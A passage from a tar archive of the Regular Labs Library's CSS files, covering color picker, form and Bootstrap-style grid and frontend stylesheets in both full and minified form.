.cm-resize-handle{position:relative;background:#f7f7f7;height:15px;user-select:none;cursor:ns-resize;border-top:1px
solid #ccc;border-bottom:1px solid #ccc;z-index:2}.rl_codemirror
.cm-resize-handle:before{position:absolute;left:50%;content:'\2261';color:#999;line-height:13px;font-size:15px}.rl_codemirror
.cm-resize-handle:hover{background:#f0f0f0}.rl_codemirror
.cm-resize-handle:hover:before{color:#000}css/color.css000064400000014356151165506420007202
0ustar00/**
* @package Regular Labs Library
* @version 21.2.19653
*
* @author Peter van Westen <info@regularlabs.com>
* @link http://www.regularlabs.com
* @copyright Copyright © 2021 Regular Labs All Rights Reserved
* @license http://www.gnu.org/licenses/gpl-2.0.html GNU/GPL
*/
/**
* BASED ON:
* jQuery MiniColors: A tiny color picker built on jQuery
* Copyright Cory LaViska for A Beautiful Site, LLC.
(http://www.abeautifulsite.net/)
* Dual-licensed under the MIT and GPL Version 2 licenses
*/
.minicolors {
position: relative;
display: inline-block;
z-index: 11;
}
.minicolors-focus {
z-index: 12;
}
.minicolors.minicolors-theme-default .minicolors-input {
margin: 0;
border: solid 1px #cccccc;
font: 14px sans-serif;
width: 65px;
height: 16px;
-webkit-border-radius: 0;
-moz-border-radius: 0;
border-radius: 0;
-webkit-box-shadow: inset 0 2px 4px rgba(0, 0, 0, .04);
-moz-box-shadow: inset 0 2px 4px rgba(0, 0, 0, .04);
box-shadow: inset 0 2px 4px rgba(0, 0, 0, .04);
padding: 2px;
margin-right: -1px;
}
.minicolors-theme-default.minicolors .minicolors-input {
vertical-align: middle;
outline: none;
}
.minicolors-theme-default.minicolors-swatch-left .minicolors-input {
margin-left: -1px;
margin-right: auto;
}
.minicolors-theme-default.minicolors-focus .minicolors-input,
.minicolors-theme-default.minicolors-focus .minicolors-swatch {
border-color: #999999;
}
.minicolors-hidden {
position: absolute;
left: -9999em;
}
.minicolors-swatch {
position: relative;
width: 20px;
height: 20px;
text-align: left;
background: url(../images/minicolors.png) -80px 0;
border: solid 1px #cccccc;
vertical-align: middle;
display: inline-block;
}
.minicolors-swatch span {
position: absolute;
width: 100%;
height: 100%;
background: none;
-webkit-box-shadow: inset 0 9px 0 rgba(255, 255, 255, .1);
-moz-box-shadow: inset 0 9px 0 rgba(255, 255, 255, .1);
box-shadow: inset 0 9px 0 rgba(255, 255, 255, .1);
display: inline-block;
}
.minicolors-panel {
position: absolute;
top: 26px;
left: 0;
width: 173px;
height: 152px;
background: white;
border: solid 1px #cccccc;
-webkit-box-shadow: 0 0 20px rgba(0, 0, 0, .2);
-moz-box-shadow: 0 0 20px rgba(0, 0, 0, .2);
box-shadow: 0 0 20px rgba(0, 0, 0, .2);
display: none;
}
.minicolors-position-top .minicolors-panel {
top: -156px;
}
.minicolors-position-left .minicolors-panel {
left: -83px;
}
.minicolors-position-left.minicolors-with-opacity .minicolors-panel {
left: -104px;
}
.minicolors-with-opacity .minicolors-panel {
width: 194px;
}
.minicolors .minicolors-grid {
position: absolute;
top: 1px;
left: 1px;
width: 150px;
height: 150px;
background: url(../images/minicolors.png) -120px 0;
cursor: crosshair;
}
.minicolors .minicolors-grid-inner {
position: absolute;
top: 0;
left: 0;
width: 150px;
height: 150px;
background: none;
}
.minicolors-slider-saturation .minicolors-grid {
background-position: -420px 0;
}
.minicolors-slider-saturation .minicolors-grid-inner {
background: url(../images/minicolors.png) -270px 0;
}
.minicolors-slider-brightness .minicolors-grid {
background-position: -570px 0;
}
.minicolors-slider-brightness .minicolors-grid-inner {
background: black;
}
.minicolors-slider-wheel .minicolors-grid {
background-position: -720px 0;
}
.minicolors-slider,
.minicolors-opacity-slider {
position: absolute;
top: 1px;
left: 152px;
width: 20px;
height: 150px;
background: white url(../images/minicolors.png) 0 0;
cursor: crosshair;
}
.minicolors-slider-saturation .minicolors-slider {
background-position: -60px 0;
}
.minicolors-slider-brightness .minicolors-slider {
background-position: -20px 0;
}
.minicolors-slider-wheel .minicolors-slider {
background-position: -20px 0;
}
.minicolors-opacity-slider {
left: 173px;
background-position: -40px 0;
display: none;
}
.minicolors-with-opacity .minicolors-opacity-slider {
display: block;
}
.minicolors-grid .minicolors-picker {
position: absolute;
top: 70px;
left: 70px;
width: 10px;
height: 10px;
border: solid 1px black;
-webkit-border-radius: 10px;
-moz-border-radius: 10px;
border-radius: 10px;
margin-top: -6px;
margin-left: -6px;
background: none;
}
.minicolors-grid .minicolors-picker span {
position: absolute;
top: 0;
left: 0;
width: 6px;
height: 6px;
-webkit-border-radius: 6px;
-moz-border-radius: 6px;
border-radius: 6px;
border: solid 2px white;
}
.minicolors-picker {
position: absolute;
top: 0;
left: 0;
width: 18px;
height: 2px;
background: white;
border: solid 1px black;
margin-top: -2px;
}
.minicolors-inline .minicolors-input,
.minicolors-inline .minicolors-swatch {
display: none;
}
.minicolors-inline .minicolors-panel {
position: relative;
top: auto;
left: auto;
display: inline-block;
}
.minicolors-theme-bootstrap .minicolors-input {
padding: 4px 6px;
padding-left: 30px;
background-color: white;
border: 1px solid #cccccc;
-webkit-border-radius: 3px;
-moz-border-radius: 3px;
border-radius: 3px;
color: #555555;
font-family: Arial, 'Helvetica Neue', Helvetica, sans-serif;
font-size: 14px;
height: 19px;
margin: 0;
-webkit-box-shadow: inset 0 1px 1px rgba(0, 0, 0, 0.075);
-moz-box-shadow: inset 0 1px 1px rgba(0, 0, 0, 0.075);
box-shadow: inset 0 1px 1px rgba(0, 0, 0, 0.075);
}
.minicolors-theme-bootstrap.minicolors-focus .minicolors-input {
border-color: #6fb8f1;
-webkit-box-shadow: 0 0 10px #6fb8f1;
-moz-box-shadow: 0 0 10px #6fb8f1;
box-shadow: 0 0 10px #6fb8f1;
outline: none;
}
.minicolors-theme-bootstrap .minicolors-swatch {
position: absolute;
left: 4px;
top: 4px;
z-index: 12;
}
.minicolors-theme-bootstrap.minicolors-swatch-position-right
.minicolors-input {
padding-left: 6px;
padding-right: 30px;
}
.minicolors-theme-bootstrap.minicolors-swatch-position-right
.minicolors-swatch {
left: auto;
right: 4px;
}
.minicolors-theme-bootstrap .minicolors-panel {
top: 28px;
z-index: 13;
}
.minicolors-theme-bootstrap.minicolors-position-top .minicolors-panel {
top: -154px;
}
.minicolors-theme-bootstrap.minicolors-position-left .minicolors-panel {
left: -63px;
}
.minicolors-theme-bootstrap.minicolors-position-left.minicolors-with-opacity
.minicolors-panel {
left: -84px;
}
css/color.min.css000064400000011466151165506420007763
0ustar00.minicolors{position:relative;display:inline-block;z-index:11}.minicolors-focus{z-index:12}.minicolors.minicolors-theme-default
.minicolors-input{margin:0 -1px 0 0;border:1px solid #ccc;font:14px
sans-serif;width:65px;height:16px;-webkit-border-radius:0;-moz-border-radius:0;border-radius:0;-webkit-box-shadow:inset
0 2px 4px rgba(0,0,0,.04);-moz-box-shadow:inset 0 2px 4px
rgba(0,0,0,.04);box-shadow:inset 0 2px 4px
rgba(0,0,0,.04);padding:2px}.minicolors-theme-default.minicolors
.minicolors-input{vertical-align:middle;outline:0}.minicolors-theme-default.minicolors-swatch-left
.minicolors-input{margin-left:-1px;margin-right:auto}.minicolors-theme-default.minicolors-focus
.minicolors-input,.minicolors-theme-default.minicolors-focus
.minicolors-swatch{border-color:#999}.minicolors-hidden{position:absolute;left:-9999em}.minicolors-swatch{position:relative;width:20px;height:20px;text-align:left;background:url(../images/minicolors.png)
-80px 0;border:1px solid
#ccc;vertical-align:middle;display:inline-block}.minicolors-swatch
span{position:absolute;width:100%;height:100%;background:0
0;-webkit-box-shadow:inset 0 9px 0
rgba(255,255,255,.1);-moz-box-shadow:inset 0 9px 0
rgba(255,255,255,.1);box-shadow:inset 0 9px 0
rgba(255,255,255,.1);display:inline-block}.minicolors-panel{position:absolute;top:26px;left:0;width:173px;height:152px;background:#fff;border:1px
solid #ccc;-webkit-box-shadow:0 0 20px rgba(0,0,0,.2);-moz-box-shadow:0 0
20px rgba(0,0,0,.2);box-shadow:0 0 20px
rgba(0,0,0,.2);display:none}.minicolors-position-top
.minicolors-panel{top:-156px}.minicolors-position-left
.minicolors-panel{left:-83px}.minicolors-position-left.minicolors-with-opacity
.minicolors-panel{left:-104px}.minicolors-with-opacity
.minicolors-panel{width:194px}.minicolors
.minicolors-grid{position:absolute;top:1px;left:1px;width:150px;height:150px;background:url(../images/minicolors.png)
-120px 0;cursor:crosshair}.minicolors
.minicolors-grid-inner{position:absolute;top:0;left:0;width:150px;height:150px;background:0
0}.minicolors-slider-saturation .minicolors-grid{background-position:-420px
0}.minicolors-slider-saturation
.minicolors-grid-inner{background:url(../images/minicolors.png) -270px
0}.minicolors-slider-brightness .minicolors-grid{background-position:-570px
0}.minicolors-slider-brightness
.minicolors-grid-inner{background:#000}.minicolors-slider-wheel
.minicolors-grid{background-position:-720px
0}.minicolors-opacity-slider,.minicolors-slider{position:absolute;top:1px;left:152px;width:20px;height:150px;background:url(../images/minicolors.png)
#fff;cursor:crosshair}.minicolors-slider-saturation
.minicolors-slider{background-position:-60px
0}.minicolors-slider-brightness .minicolors-slider,.minicolors-slider-wheel
.minicolors-slider{background-position:-20px
0}.minicolors-opacity-slider{left:173px;background-position:-40px
0;display:none}.minicolors-with-opacity
.minicolors-opacity-slider{display:block}.minicolors-grid
.minicolors-picker{position:absolute;top:70px;left:70px;width:10px;height:10px;border:1px
solid
#000;-webkit-border-radius:10px;-moz-border-radius:10px;border-radius:10px;margin-top:-6px;margin-left:-6px;background:0
0}.minicolors-grid .minicolors-picker
span{position:absolute;top:0;left:0;width:6px;height:6px;-webkit-border-radius:6px;-moz-border-radius:6px;border-radius:6px;border:2px
solid
#fff}.minicolors-picker{position:absolute;top:0;left:0;width:18px;height:2px;background:#fff;border:1px
solid #000;margin-top:-2px}.minicolors-inline
.minicolors-input,.minicolors-inline
.minicolors-swatch{display:none}.minicolors-inline
.minicolors-panel{position:relative;top:auto;left:auto;display:inline-block}.minicolors-theme-bootstrap
.minicolors-input{padding:4px 6px 4px 30px;background-color:#fff;border:1px
solid
#ccc;-webkit-border-radius:3px;-moz-border-radius:3px;border-radius:3px;color:#555;font-family:Arial,'Helvetica
Neue',Helvetica,sans-serif;font-size:14px;height:19px;margin:0;-webkit-box-shadow:inset
0 1px 1px rgba(0,0,0,.075);-moz-box-shadow:inset 0 1px 1px
rgba(0,0,0,.075);box-shadow:inset 0 1px 1px
rgba(0,0,0,.075)}.minicolors-theme-bootstrap.minicolors-focus
.minicolors-input{border-color:#6fb8f1;-webkit-box-shadow:0 0 10px
#6fb8f1;-moz-box-shadow:0 0 10px #6fb8f1;box-shadow:0 0 10px
#6fb8f1;outline:0}.minicolors-theme-bootstrap
.minicolors-swatch{position:absolute;left:4px;top:4px;z-index:12}.minicolors-theme-bootstrap.minicolors-swatch-position-right
.minicolors-input{padding-left:6px;padding-right:30px}.minicolors-theme-bootstrap.minicolors-swatch-position-right
.minicolors-swatch{left:auto;right:4px}.minicolors-theme-bootstrap
.minicolors-panel{top:28px;z-index:13}.minicolors-theme-bootstrap.minicolors-position-top
.minicolors-panel{top:-154px}.minicolors-theme-bootstrap.minicolors-position-left
.minicolors-panel{left:-63px}.minicolors-theme-bootstrap.minicolors-position-left.minicolors-with-opacity
.minicolors-panel{left:-84px}css/colorpicker.css000064400000004471151165506420010375
0ustar00/**
* @package Regular Labs Library
* @version 21.2.19653
*
* @author Peter van Westen <info@regularlabs.com>
* @link http://www.regularlabs.com
* @copyright Copyright © 2021 Regular Labs All Rights Reserved
* @license http://www.gnu.org/licenses/gpl-2.0.html GNU/GPL
*/
/**
* LOOSELY BASED ON:
* Very simple jQuery Color Picker
* Copyright (C) 2012 Tanguy Krotoff
* Licensed under the MIT license
*/
.rl_colorpicker-swatch {
cursor: pointer;
position: relative;
width: 20px;
height: 20px;
text-align: left;
background: url(../images/minicolors.png) -80px 0;
border: solid 1px #cccccc;
vertical-align: middle;
display: inline-block;
-webkit-border-radius: 3px;
-moz-border-radius: 3px;
border-radius: 3px;
overflow: hidden;
}
.rl_colorpicker-swatch span {
position: absolute;
width: 100%;
height: 100%;
background: none;
-webkit-box-shadow: inset 0 9px 0 rgba(255, 255, 255, .1);
-moz-box-shadow: inset 0 9px 0 rgba(255, 255, 255, .1);
box-shadow: inset 0 9px 0 rgba(255, 255, 255, .1);
display: inline-block;
}
.rl_colorpicker-panel .rl_colorpicker-swatch {
margin: 0 4px 4px 0;
}
.rl_colorpicker-swatch.active,
.rl_colorpicker-swatch:hover,
.rl_colorpicker-swatch:focus,
.rl_colorpicker-swatch span:focus {
outline: 0;
outline: thin dotted \9;
/* IE6-9 */
}
.rl_colorpicker-swatch:hover,
.rl_colorpicker-swatch.active {
border-color: rgba(82, 168, 236, 0.8);
-webkit-box-shadow: inset 0 1px 1px rgba(0,0,0,.075), 0 0 8px
rgba(82,168,236,.6);
-moz-box-shadow: inset 0 1px 1px rgba(0,0,0,.075), 0 0 8px
rgba(82,168,236,.6);
box-shadow: inset 0 1px 1px rgba(0,0,0,.075), 0 0 8px
rgba(82,168,236,.6);
}
.rl_colorpicker-panel {
position: absolute;
top: 100%;
left: 0;
z-index: 10;
display: none;
float: left;
padding: 6px 2px 2px 6px;
margin: 1px 0 0;
list-style: none;
background-color: #ffffff;
border: 1px solid #dddddd;
*border-right-width: 2px;
*border-bottom-width: 2px;
-webkit-border-radius: 5px;
-moz-border-radius: 5px;
border-radius: 5px;
-webkit-box-shadow: 0 5px 10px rgba(0, 0, 0, 0.2);
-moz-box-shadow: 0 5px 10px rgba(0, 0, 0, 0.2);
box-shadow: 0 5px 10px rgba(0, 0, 0, 0.2);
-webkit-background-clip: padding-box;
-moz-background-clip: padding-box;
background-clip: padding-box;
}
css/colorpicker.min.css000064400000003116151165506420011152
0ustar00.rl_colorpicker-swatch{cursor:pointer;position:relative;width:20px;height:20px;text-align:left;background:url(../images/minicolors.png)
-80px 0;border:1px solid
#ccc;vertical-align:middle;display:inline-block;-webkit-border-radius:3px;-moz-border-radius:3px;border-radius:3px;overflow:hidden}.rl_colorpicker-swatch
span{position:absolute;width:100%;height:100%;background:0
0;-webkit-box-shadow:inset 0 9px 0
rgba(255,255,255,.1);-moz-box-shadow:inset 0 9px 0
rgba(255,255,255,.1);box-shadow:inset 0 9px 0
rgba(255,255,255,.1);display:inline-block}.rl_colorpicker-panel
.rl_colorpicker-swatch{margin:0 4px 4px 0}.rl_colorpicker-swatch
span:focus,.rl_colorpicker-swatch.active,.rl_colorpicker-swatch:focus,.rl_colorpicker-swatch:hover{outline:0;outline:dotted
thin\9}.rl_colorpicker-swatch.active,.rl_colorpicker-swatch:hover{border-color:rgba(82,168,236,.8);-webkit-box-shadow:inset
0 1px 1px rgba(0,0,0,.075),0 0 8px
rgba(82,168,236,.6);-moz-box-shadow:inset 0 1px 1px rgba(0,0,0,.075),0 0
8px rgba(82,168,236,.6);box-shadow:inset 0 1px 1px rgba(0,0,0,.075),0 0 8px
rgba(82,168,236,.6)}.rl_colorpicker-panel{position:absolute;top:100%;left:0;z-index:10;display:none;float:left;padding:6px
2px 2px 6px;margin:1px 0 0;list-style:none;background-color:#fff;border:1px
solid
#ddd;*border-right-width:2px;*border-bottom-width:2px;-webkit-border-radius:5px;-moz-border-radius:5px;border-radius:5px;-webkit-box-shadow:0
5px 10px rgba(0,0,0,.2);-moz-box-shadow:0 5px 10px
rgba(0,0,0,.2);box-shadow:0 5px 10px
rgba(0,0,0,.2);-webkit-background-clip:padding-box;-moz-background-clip:padding-box;background-clip:padding-box}css/form.css000064400000010671151165506420007023
0ustar00/**
* @package Regular Labs Library
* @version 21.2.19653
*
* @author Peter van Westen <info@regularlabs.com>
* @link http://www.regularlabs.com
* @copyright Copyright © 2021 Regular Labs All Rights Reserved
* @license http://www.gnu.org/licenses/gpl-2.0.html GNU/GPL
*/
.chzn-small {
width: 120px;
}
div.chzn-container[id^="color_"][id$="_chzn"],
div.chzn-container#advancedparams_color_chzn {
display: none;
}
.input-full {
width: 100%;
box-sizing: border-box;
}
input[type="text"].input-full {
height: 28px;
}
.controls .input-maximize:focus,
.controls .input-maximize .chzn-container:hover,
.controls .input-maximize .chzn-with-drop {
min-width: 99%;
}
.btn-group-yesno-reverse .active.btn-success {
color: #fff;
text-shadow: 0 -1px 0 rgba(0, 0, 0, 0.25);
background-color: #ad312b;
background-image: -moz-linear-gradient(top, #bd362f, #942a25);
background-image: -webkit-gradient(linear, 0 0, 0 100%, from(#bd362f),
to(#942a25));
background-image: -webkit-linear-gradient(top, #bd362f, #942a25);
background-image: -o-linear-gradient(top, #bd362f, #942a25);
background-image: linear-gradient(to bottom, #bd362f, #942a25);
background-repeat: repeat-x;
filter:
progid:DXImageTransform.Microsoft.gradient(startColorstr='#ffbd362f',
endColorstr='#ff942a25', GradientType=0);
border-color: #942a25 #942a25 #571916;
*background-color: #942a25;
/* Darken IE7 buttons by default so they stand out more given they
won't have borders */
filter: progid:DXImageTransform.Microsoft.gradient(enabled = false);
}
.btn-group-yesno-reverse .active.btn-success:hover,
.btn-group-yesno-reverse .active.btn-success:focus,
.btn-group-yesno-reverse .active.btn-success:active,
.btn-group-yesno-reverse .active.btn-success.active,
.btn-group-yesno-reverse .active.btn-success.disabled,
.btn-group-yesno-reverse .active.btn-success[disabled] {
color: #fff;
background-color: #942a25;
*background-color: #802420;
}
.btn-group-yesno-reverse .active.btn-success:active,
.btn-group-yesno-reverse .active.btn-success.active {
background-color: #6b1f1b \9;
}
.btn-group-yesno-reverse .active.btn-danger {
color: #fff;
text-shadow: 0 -1px 0 rgba(0, 0, 0, 0.25);
background-color: #409740;
background-image: -moz-linear-gradient(top, #46a546, #378137);
background-image: -webkit-gradient(linear, 0 0, 0 100%, from(#46a546),
to(#378137));
background-image: -webkit-linear-gradient(top, #46a546, #378137);
background-image: -o-linear-gradient(top, #46a546, #378137);
background-image: linear-gradient(to bottom, #46a546, #378137);
background-repeat: repeat-x;
filter:
progid:DXImageTransform.Microsoft.gradient(startColorstr='#ff46a546',
endColorstr='#ff378137', GradientType=0);
border-color: #378137 #378137 #204b20;
*background-color: #378137;
/* Darken IE7 buttons by default so they stand out more given they
won't have borders */
filter: progid:DXImageTransform.Microsoft.gradient(enabled = false);
}
.btn-group-yesno-reverse .active.btn-danger:hover,
.btn-group-yesno-reverse .active.btn-danger:focus,
.btn-group-yesno-reverse .active.btn-danger:active,
.btn-group-yesno-reverse .active.btn-danger.active,
.btn-group-yesno-reverse .active.btn-danger.disabled,
.btn-group-yesno-reverse .active.btn-danger[disabled] {
color: #fff;
background-color: #378137;
*background-color: #2f6f2f;
}
.btn-group-yesno-reverse .active.btn-danger:active,
.btn-group-yesno-reverse .active.btn-danger.active {
background-color: #285d28 \9;
}
input.rl_codefield,
input.rl_keyfield,
div.rl_keycode {
font-family: Monaco, Menlo, Consolas, "Courier New", monospace;
font-size: 1.4em !important;
}
input.rl_codefield,
input.rl_keyfield {
font-size: 14px !important;
}
.btn.disabled {
cursor: not-allowed !important;
}
.rl_keycode {
color: #999;
padding: 2px 0;
}
fieldset.rl_plaintext {
margin-top: 5px;
}
.rl_textarea {
-webkit-box-sizing: border-box;
-moz-box-sizing: border-box;
box-sizing: border-box;
}
.inlist .simplecolors-swatch span {
position: relative;
}
.rl_spinner {
display: inline-block;
box-sizing: border-box;
vertical-align: top;
margin: 0 4px;
border-top: 5px solid #7ac143;
border-right: 5px solid #f9a541;
border-bottom: 5px solid #f44321;
border-left: 5px solid #5091cd;
border-radius: 50%;
width: 20px;
height: 20px;
animation: rl_spinner 1s linear infinite;
}
@keyframes rl_spinner {
0% {
transform: rotate(0deg);
}
100% {
transform: rotate(360deg);
}
}
css/form.min.css000064400000006437151165506420007612
0ustar00.chzn-small{width:120px}div.chzn-container#advancedparams_color_chzn,div.chzn-container[id^=color_][id$="_chzn"]{display:none}.input-full{width:100%;box-sizing:border-box}input[type=text].input-full{height:28px}.controls
.input-maximize .chzn-container:hover,.controls .input-maximize
.chzn-with-drop,.controls
.input-maximize:focus{min-width:99%}.btn-group-yesno-reverse
.active.btn-success{color:#fff;text-shadow:0 -1px 0
rgba(0,0,0,.25);background-color:#ad312b;background-image:-moz-linear-gradient(top,#bd362f,#942a25);background-image:-webkit-gradient(linear,0
0,0
100%,from(#bd362f),to(#942a25));background-image:-webkit-linear-gradient(top,#bd362f,#942a25);background-image:-o-linear-gradient(top,#bd362f,#942a25);background-image:linear-gradient(to
bottom,#bd362f,#942a25);background-repeat:repeat-x;border-color:#942a25
#942a25
#571916;*background-color:#942a25;filter:progid:DXImageTransform.Microsoft.gradient(enabled=false)}.btn-group-yesno-reverse
.active.btn-success.active,.btn-group-yesno-reverse
.active.btn-success.disabled,.btn-group-yesno-reverse
.active.btn-success:active,.btn-group-yesno-reverse
.active.btn-success:focus,.btn-group-yesno-reverse
.active.btn-success:hover,.btn-group-yesno-reverse
.active.btn-success[disabled]{color:#fff;background-color:#942a25;*background-color:#802420}.btn-group-yesno-reverse
.active.btn-success.active,.btn-group-yesno-reverse
.active.btn-success:active{background-color:#6b1f1b\9}.btn-group-yesno-reverse
.active.btn-danger{color:#fff;text-shadow:0 -1px 0
rgba(0,0,0,.25);background-color:#409740;background-image:-moz-linear-gradient(top,#46a546,#378137);background-image:-webkit-gradient(linear,0
0,0
100%,from(#46a546),to(#378137));background-image:-webkit-linear-gradient(top,#46a546,#378137);background-image:-o-linear-gradient(top,#46a546,#378137);background-image:linear-gradient(to
bottom,#46a546,#378137);background-repeat:repeat-x;border-color:#378137
#378137
#204b20;*background-color:#378137;filter:progid:DXImageTransform.Microsoft.gradient(enabled=false)}.btn-group-yesno-reverse
.active.btn-danger.active,.btn-group-yesno-reverse
.active.btn-danger.disabled,.btn-group-yesno-reverse
.active.btn-danger:active,.btn-group-yesno-reverse
.active.btn-danger:focus,.btn-group-yesno-reverse
.active.btn-danger:hover,.btn-group-yesno-reverse
.active.btn-danger[disabled]{color:#fff;background-color:#378137;*background-color:#2f6f2f}.btn-group-yesno-reverse
.active.btn-danger.active,.btn-group-yesno-reverse
.active.btn-danger:active{background-color:#285d28\9}div.rl_keycode,input.rl_codefield,input.rl_keyfield{font-family:Monaco,Menlo,Consolas,"Courier
New",monospace;font-size:1.4em!important}input.rl_codefield,input.rl_keyfield{font-size:14px!important}.btn.disabled{cursor:not-allowed!important}.rl_keycode{color:#999;padding:2px
0}fieldset.rl_plaintext{margin-top:5px}.rl_textarea{-webkit-box-sizing:border-box;-moz-box-sizing:border-box;box-sizing:border-box}.inlist
.simplecolors-swatch
span{position:relative}.rl_spinner{display:inline-block;box-sizing:border-box;vertical-align:top;margin:0
4px;border-top:5px solid #7ac143;border-right:5px solid
#f9a541;border-bottom:5px solid #f44321;border-left:5px solid
#5091cd;border-radius:50%;width:20px;height:20px;animation:rl_spinner 1s
linear infinite}@keyframes
rl_spinner{0%{transform:rotate(0)}100%{transform:rotate(360deg)}}css/frontend.css000064400000243425151165506420007704
0ustar00/**
* @package Regular Labs Library
* @version 21.2.19653
*
* @author Peter van Westen <info@regularlabs.com>
* @link http://www.regularlabs.com
* @copyright Copyright © 2021 Regular Labs All Rights Reserved
* @license http://www.gnu.org/licenses/gpl-2.0.html GNU/GPL
*/
.row {
margin-left: -20px;
*zoom: 1;
}
.row:before,
.row:after {
display: table;
content: "";
line-height: 0;
}
.row:after {
clear: both;
}
[class*="span"] {
float: left;
min-height: 1px;
margin-left: 20px;
}
.container,
.navbar-static-top .container,
.navbar-fixed-top .container,
.navbar-fixed-bottom .container {
width: 940px;
}
.span12 {
width: 940px;
}
.span11 {
width: 860px;
}
.span10 {
width: 780px;
}
.span9 {
width: 700px;
}
.span8 {
width: 620px;
}
.span7 {
width: 540px;
}
.span6 {
width: 460px;
}
.span5 {
width: 380px;
}
.span4 {
width: 300px;
}
.span3 {
width: 220px;
}
.span2 {
width: 140px;
}
.span1 {
width: 60px;
}
.offset12 {
margin-left: 980px;
}
.offset11 {
margin-left: 900px;
}
.offset10 {
margin-left: 820px;
}
.offset9 {
margin-left: 740px;
}
.offset8 {
margin-left: 660px;
}
.offset7 {
margin-left: 580px;
}
.offset6 {
margin-left: 500px;
}
.offset5 {
margin-left: 420px;
}
.offset4 {
margin-left: 340px;
}
.offset3 {
margin-left: 260px;
}
.offset2 {
margin-left: 180px;
}
.offset1 {
margin-left: 100px;
}
.row-fluid {
width: 100%;
*zoom: 1;
}
.row-fluid:before,
.row-fluid:after {
display: table;
content: "";
line-height: 0;
}
.row-fluid:after {
clear: both;
}
.row-fluid [class*="span"] {
display: block;
width: 100%;
min-height: 30px;
-webkit-box-sizing: border-box;
-moz-box-sizing: border-box;
box-sizing: border-box;
float: left;
margin-left: 2.12765957%;
*margin-left: 2.07446809%;
}
.row-fluid [class*="span"]:first-child {
margin-left: 0;
}
.row-fluid .controls-row [class*="span"] +
[class*="span"] {
margin-left: 2.12765957%;
}
.row-fluid .span12 {
width: 100%;
*width: 99.94680851%;
}
.row-fluid .span11 {
width: 91.4893617%;
*width: 91.43617021%;
}
.row-fluid .span10 {
width: 82.9787234%;
*width: 82.92553191%;
}
.row-fluid .span9 {
width: 74.46808511%;
*width: 74.41489362%;
}
.row-fluid .span8 {
width: 65.95744681%;
*width: 65.90425532%;
}
.row-fluid .span7 {
width: 57.44680851%;
*width: 57.39361702%;
}
.row-fluid .span6 {
width: 48.93617021%;
*width: 48.88297872%;
}
.row-fluid .span5 {
width: 40.42553191%;
*width: 40.37234043%;
}
.row-fluid .span4 {
width: 31.91489362%;
*width: 31.86170213%;
}
.row-fluid .span3 {
width: 23.40425532%;
*width: 23.35106383%;
}
.row-fluid .span2 {
width: 14.89361702%;
*width: 14.84042553%;
}
.row-fluid .span1 {
width: 6.38297872%;
*width: 6.32978723%;
}
.row-fluid .offset12 {
margin-left: 104.25531915%;
*margin-left: 104.14893617%;
}
.row-fluid .offset12:first-child {
margin-left: 102.12765957%;
*margin-left: 102.0212766%;
}
.row-fluid .offset11 {
margin-left: 95.74468085%;
*margin-left: 95.63829787%;
}
.row-fluid .offset11:first-child {
margin-left: 93.61702128%;
*margin-left: 93.5106383%;
}
.row-fluid .offset10 {
margin-left: 87.23404255%;
*margin-left: 87.12765957%;
}
.row-fluid .offset10:first-child {
margin-left: 85.10638298%;
*margin-left: 85%;
}
.row-fluid .offset9 {
margin-left: 78.72340426%;
*margin-left: 78.61702128%;
}
.row-fluid .offset9:first-child {
margin-left: 76.59574468%;
*margin-left: 76.4893617%;
}
.row-fluid .offset8 {
margin-left: 70.21276596%;
*margin-left: 70.10638298%;
}
.row-fluid .offset8:first-child {
margin-left: 68.08510638%;
*margin-left: 67.9787234%;
}
.row-fluid .offset7 {
margin-left: 61.70212766%;
*margin-left: 61.59574468%;
}
.row-fluid .offset7:first-child {
margin-left: 59.57446809%;
*margin-left: 59.46808511%;
}
.row-fluid .offset6 {
margin-left: 53.19148936%;
*margin-left: 53.08510638%;
}
.row-fluid .offset6:first-child {
margin-left: 51.06382979%;
*margin-left: 50.95744681%;
}
.row-fluid .offset5 {
margin-left: 44.68085106%;
*margin-left: 44.57446809%;
}
.row-fluid .offset5:first-child {
margin-left: 42.55319149%;
*margin-left: 42.44680851%;
}
.row-fluid .offset4 {
margin-left: 36.17021277%;
*margin-left: 36.06382979%;
}
.row-fluid .offset4:first-child {
margin-left: 34.04255319%;
*margin-left: 33.93617021%;
}
.row-fluid .offset3 {
margin-left: 27.65957447%;
*margin-left: 27.55319149%;
}
.row-fluid .offset3:first-child {
margin-left: 25.53191489%;
*margin-left: 25.42553191%;
}
.row-fluid .offset2 {
margin-left: 19.14893617%;
*margin-left: 19.04255319%;
}
.row-fluid .offset2:first-child {
margin-left: 17.0212766%;
*margin-left: 16.91489362%;
}
.row-fluid .offset1 {
margin-left: 10.63829787%;
*margin-left: 10.53191489%;
}
.row-fluid .offset1:first-child {
margin-left: 8.5106383%;
*margin-left: 8.40425532%;
}
[class*="span"].hide,
.row-fluid [class*="span"].hide {
display: none;
}
[class*="span"].pull-right,
.row-fluid [class*="span"].pull-right {
float: right;
}
form {
margin: 0 0 20px;
}
fieldset {
padding: 0;
margin: 0;
border: 0;
}
legend {
display: block;
width: 100%;
padding: 0;
margin-bottom: 20px;
font-size: 21px;
line-height: 40px;
color: #333;
border: 0;
border-bottom: 1px solid #e5e5e5;
}
legend small {
font-size: 15px;
color: #999;
}
label,
input,
button,
select,
textarea {
font-size: 14px;
font-weight: normal;
line-height: 20px;
}
input,
button,
select,
textarea {
font-family: "Helvetica Neue", Helvetica, Arial, sans-serif;
}
label {
display: block;
margin-bottom: 5px;
}
select,
textarea,
input[type="text"],
input[type="password"],
input[type="datetime"],
input[type="datetime-local"],
input[type="date"],
input[type="month"],
input[type="time"],
input[type="week"],
input[type="number"],
input[type="email"],
input[type="url"],
input[type="search"],
input[type="tel"],
input[type="color"],
.uneditable-input {
display: inline-block;
height: 20px;
padding: 4px 6px;
margin-bottom: 10px;
font-size: 14px;
line-height: 20px;
color: #555;
-webkit-border-radius: 4px;
-moz-border-radius: 4px;
border-radius: 4px;
vertical-align: middle;
}
input,
textarea,
.uneditable-input {
width: 206px;
}
textarea {
height: auto;
}
textarea,
input[type="text"],
input[type="password"],
input[type="datetime"],
input[type="datetime-local"],
input[type="date"],
input[type="month"],
input[type="time"],
input[type="week"],
input[type="number"],
input[type="email"],
input[type="url"],
input[type="search"],
input[type="tel"],
input[type="color"],
.uneditable-input {
background-color: #fff;
border: 1px solid #ccc;
-webkit-box-shadow: inset 0 1px 1px rgba(0, 0, 0, 0.075);
-moz-box-shadow: inset 0 1px 1px rgba(0, 0, 0, 0.075);
box-shadow: inset 0 1px 1px rgba(0, 0, 0, 0.075);
-webkit-transition: border linear .2s, box-shadow linear .2s;
-moz-transition: border linear .2s, box-shadow linear .2s;
